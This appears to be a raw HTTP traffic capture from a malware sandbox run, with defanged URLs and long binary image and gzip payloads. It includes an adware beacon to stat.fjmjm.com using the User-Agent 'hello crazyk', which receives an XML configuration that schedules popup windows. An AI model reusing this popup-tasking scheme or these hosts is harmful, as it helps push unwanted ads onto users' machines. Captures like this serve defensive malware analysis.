.`...Oc..Bw..z...T.Rz..4qm.~.N.T4...8.?`...........N.I......6....}...F
.......9....v....;q....h...A4c....V...F.....k&j..a...91#.n....x...s...
..N..`.h$M......}....?...?...=Yl..8K...................k.ZhA.o...ol.}.
..p....~n9I.. ..$.......L...w.......g....H...|f...4ADSy.(.......=^..v.
...v.'......u...gC..'*..*....#....Z......o..*.#'I#.v.....s.\>..6...
...5[c.|Vb.....l.l..k7N...._..D.....4.$l8.d...J..........m.....%.Z.F..
-...>.3...k....a.D....U... 3U...]...w........c2...(..a...VO.$I.....
....s}...M9N.q.=.....9.0..._...,.|.He....r...........>g^....u.%....
7.....DU..*..J....R'i.h%Q@.<.........%.7..%pVbO....V1'!!^..}...caj.
b\......Qv....(.i.S.."..|...a..1..........X.....l.,9n....x0..6Tg......
..S.8.36&K..hhA....U.T.J....-.'.J..i..)...l.5.v.ih..w..l...fS.y..5...7
o....i...P ..V......x.M..Z4.:[email protected]...<..|.{
X.o`!_..K.P.....a....>./...*/.|......m.X.W.!.....$...r(..4.....0|..
|.* LzF.3->..k..:.X...\.].........Q..{._....'........Q9M.........q.
..........K.....GH..I..c.U....e>.../.'=N...-......W..^Y.p.!..>].
.:.NU..GM..^o.9N.%.(GAD.v.&I...!.s.q2..F..q...."h....%...o.".M......H)
..,...(..,[email protected]|...{..*....`x.....:...A..S......r.?}....!.`.0..&..!..#
.#";.#....e3.0gG.J.=#..a.......Oz.|.q`..D.L... .z.....#..=6t.RTla)...[
Gz'B3..:...b.SZ.}#W9.W...Vi....U>.)W.g....dZ(.. ....S.j>...#
<<< skipped >>>

GET /web/PopWinParam.asp?d=2014419&mainver=1.0.0&popver=1.0.0&xmlver=20131020010000 HTTP/1.1

User-Agent: hello crazyk

Host: stat.fjmjm.com

HTTP/1.1 200 OK

Date: Mon, 26 May 2014 23:04:32 GMT

Server: Microsoft-IIS/6.0

Who: ShanIE

Content-Length: 4659

Content-Type: text/html

Set-Cookie: ASPSESSIONIDCCRSCCBQ=OCMDICKBEKNNPLPECNJJNHCE; path=/

Cache-control: private
..<?xml version="1.0" encoding="gb2312"?>..<SoftwareConfig>
;..  <Version>20140527070432</Version>..  <Popwin>..
.    <Item id="1">..      <Subject>........</Subject>
;..      <WinWidth>708</WinWidth>..      <WinHeight>
404</WinHeight>..      <StartUpPosition>0</StartUpPosit
ion>..      <URL>hXXp://VVV.mdtxw.org/miniindex/</URL> 
..      <StartUpTime>10</StartUpTime>..      <ShowIntev
al>7200</ShowInteval>..      <AutoClose>600</AutoClo
se>..      <isShow>1</isShow>..    </Item>..    &
lt;Item id="2">..      <Subject>........</Subject>..   
  <WinWidth>300</WinWidth>..      <WinHeight>265<
/WinHeight>..      <StartUpPosition>1</StartUpPosition>
..      <URL>hXXp://stat.fjmjm.com/a/cpv1.html?t=20140527070432&
lt;/URL> ..      <StartUpTime>50</StartUpTime>..      &
lt;ShowInteval>0</ShowInteval>..      <AutoClose>50<
/AutoClose>..      <isShow>1</isShow>..    </Item>
;..    <Item id="3">..      <Subject>....LB</Subject>
;..      <WinWidth>300</WinWidth>..      <WinHeight>
265</WinHeight>..      <StartUpPosition>1</StartUpPosit
ion>..      <URL>hXXp://stat.fjmjm.com/a/cpv1.html?t=20140527
070432</URL>..      <StartUpTime>200</StartUpTime>..
      <ShowInteval>7200</ShowInteval>..      <AutoC
<<< skipped >>>

GET /material/d7/4/a9ac5ed3b828895d94097c8c6faba.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/shehui_509_366.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cache.adm.cnzz.net

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: ATS/3.2.0

Date: Mon, 26 May 2014 23:05:03 GMT

Content-Type: text/html

Content-Length: 266

Location: hXXp://cache.adm.cnzz.net/noname.gif

Age: 2

Via: http/1.1 l2hk1 (ATS [cMsSf ]), http/1.1 de1 (ATS [cMsSf ])

Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>302 Found</title></head>..<b
ody bgcolor="white">..<h1>302 Found</h1>..<p>The 
requested resource resides temporarily under a different URI.</p>
;..<hr/>Powered by Tengine/1.4.2..</body>..</html>..
....


GET /noname.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/shehui_509_366.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cache.adm.cnzz.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ATS/3.2.0

Date: Mon, 26 May 2014 19:03:57 GMT

Content-Type: image/gif

Content-Length: 0

Last-Modified: Fri, 21 Oct 2011 09:36:11 GMT

Expires: Tue, 27 May 2014 19:03:57 GMT

Cache-Control: max-age=86400

Content-Disposition: : attachment;

Accept-Ranges: bytes

Age: 14467

Via: http/1.1 l2hk1 (ATS [cRs f ]), http/1.1 de1 (ATS [cRs f ])

Connection: keep-alive
HTTP/1.1 200 OK..Server: ATS/3.2.0..Date: Mon, 26 May 2014 19:03:57 GM
T..Content-Type: image/gif..Content-Length: 0..Last-Modified: Fri, 21 
Oct 2011 09:36:11 GMT..Expires: Tue, 27 May 2014 19:03:57 GMT..Cache-C
ontrol: max-age=86400..Content-Disposition: : attachment;..Accept-Rang
es: bytes..Age: 14467..Via: http/1.1 l2hk1 (ATS [cRs f ]), http/1.1 de
1 (ATS [cRs f ])..Connection: keep-alive......


GET /material/d7/4/a9ac5ed3b828895d94097c8c6faba.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/shehui_509_366.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cache.adm.cnzz.net

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: ATS/3.2.0

Date: Mon, 26 May 2014 23:05:04 GMT

Content-Type: text/html

Content-Length: 266

Location: hXXp://cache.adm.cnzz.net/noname.gif

Age: 2

Via: http/1.1 l2hk1 (ATS [cMsSf ]), http/1.1 de1 (ATS [cMsSf ])

Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>302 Found</title></head>..<b
ody bgcolor="white">..<h1>302 Found</h1>..<p>The 
requested resource resides temporarily under a different URI.</p>
;..<hr/>Powered by Tengine/1.4.2..</body>..</html>..
HTTP/1.1 302 Found..Server: ATS/3.2.0..Date: Mon, 26 May 2014 23:05:04
 GMT..Content-Type: text/html..Content-Length: 266..Location: hXXp://c
ache.adm.cnzz.net/noname.gif..Age: 2..Via: http/1.1 l2hk1 (ATS [cMsSf 
]), http/1.1 de1 (ATS [cMsSf ])..Connection: keep-alive..<!DOCTYPE 
HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>..<head>
;<title>302 Found</title></head>..<body bgcolor="
white">..<h1>302 Found</h1>..<p>The requested res
ource resides temporarily under a different URI.</p>..<hr/>
;Powered by Tengine/1.4.2..</body>..</html>....

GET /imgn/v32/selogo_111207.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p1.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:29 GMT

Content-Type: image/png

Content-Length: 12155

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:29 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR...a...?.....V.......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /imgu/2014/05/20140520134931_810.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p1.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:35 GMT

Content-Type: image/jpeg

Content-Length: 15513

Last-Modified: Tue, 20 May 2014 05:49:31 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:35 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
......Exif..II*.................Ducky.......d.....mhXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c06
0 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:1D83D2A5C09EE3119
F67BC560D35722B" xmpMM:DocumentID="xmp.did:B76C3335B32411E3A0A1D3FE384
91E12" xmpMM:InstanceID="xmp.iid:B76C3334B32411E3A0A1D3FE38491E12" xmp
:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom s
tRef:instanceID="xmp.iid:1322933415B0E3118B8B93BFE95E0F3F" stRef:docum
entID="xmp.did:1D83D2A5C09EE3119F67BC560D35722B"/> </rdf:Descrip
tion> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
....Adobe.d...........................................................
......................................................................
................k._...................................................
................................................!.1"..A2#.Qa.qR3$...S5
67.bC4.......................!...1AQ..aq."2........BRb#3...r.$4...C6..
..5..............?.k.|...............(..L[.A...Tz.......... ?..N..D...
...[...[.2m...R-.E1%.n[..`.}.O....S..Mm;73.1....8..{.L.5n......U .....
....j......E%...C%..[h.R*.%`...>.#..=5....../n\.._M. 8..Wd..#.$
<<< skipped >>>

GET /?22014 HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: 123.sogou.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 26 May 2014 23:04:26 GMT

Content-Type: text/html; charset=gbk

Transfer-Encoding: chunked

Connection: keep-alive

P3P: CP="NON DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa HISa TELa OTPa OUR UNRa IND UNI COM NAV INT DEM CNT PRELOC"

Content-Encoding: gzip
911e................\.u7...gb!..=.....5.............Mo.eF3..cd.<6.A
 ....@ .........8vB.8....'~..9....u.$......uOU.:......_...}O?...D}.j&.
|f.c..KL$.....7=.....o>....%2.t.....7..N.iNO.xb"1Q......kkk..\...M?
..... C/.....f.2.L,?Lm._..,?<h.......O].....g.x...=.#......`.......
..c..$.....Zg.*wZ.O.W.n...S.t...acui...g.$.uZ]g.(5..D..............Mg.
>z`v"1..|y.h.|z.k.9p...i.........Zi.S...N.].Xq..:.J........R..z....
.L..;/....x.<..7..z...\.3u.......~8..'.}:u...>.../...r....j.c_..
.3.n.....['/....S....K......7G1.../..]ZG{..^.(..p....|.{.N^.....|G....
........}...K'.}........><u.;.\:........_.....\.....~...>>
w.g....OO...?..........?'..A..N....{..W....W...O/....n.H.w...N.{.'.l.W
.=..4..rN$.=..41.h95.?]uV....3.h..b...V.P....I....@K..=..}.Yu...-.:.D.
0X...d&...Zb?hh..T..<.h....Z.]...V.............L.jT...H.........D.W
^RlUIi.)W.D.. N{.?.Q..........K.\y..?*.S....l5.......eo......[pR.....U
.....Qq..F.X.=.k1.U#..m.".U........a%.qj..h......W..&..Cn....I2.4....X
L1_.kb....O9S..T.1.)N..N{....g.........vz..F.;.L...[.Lu.]...`....T...f
......t..b..T...}.r...Y..p{..N..r6..f..0...."-z...;=,d.-.........J.A}k
.L4...F....p..j.....nu.U..X.e.4...'.......[N..V..T.......~..Z.u.x....;
.nO>._......'...X..%0.a.(...[....S^..:.ua.:O.[..n...]..B.Q..{.....Y
u.7.` ....b..9.ol...,.N.......J.mKh...Z.2./d../.J..y......oQ,S.8.tZ...
.D..lT.....-v.h......h.../>.....My........(<.I8.A.B..;?.?.99.D..
.b.'#[.W..3yL..ZP...".$.~.t..v. .Fu.?t...j.\.a...!..w.A...oO......F;..
..v%[email protected]}....W$"r.c.......G.j......,.......#.....
<<< skipped >>>

GET /v53/jsn/v53_123n.js?V=df HTTP/1.1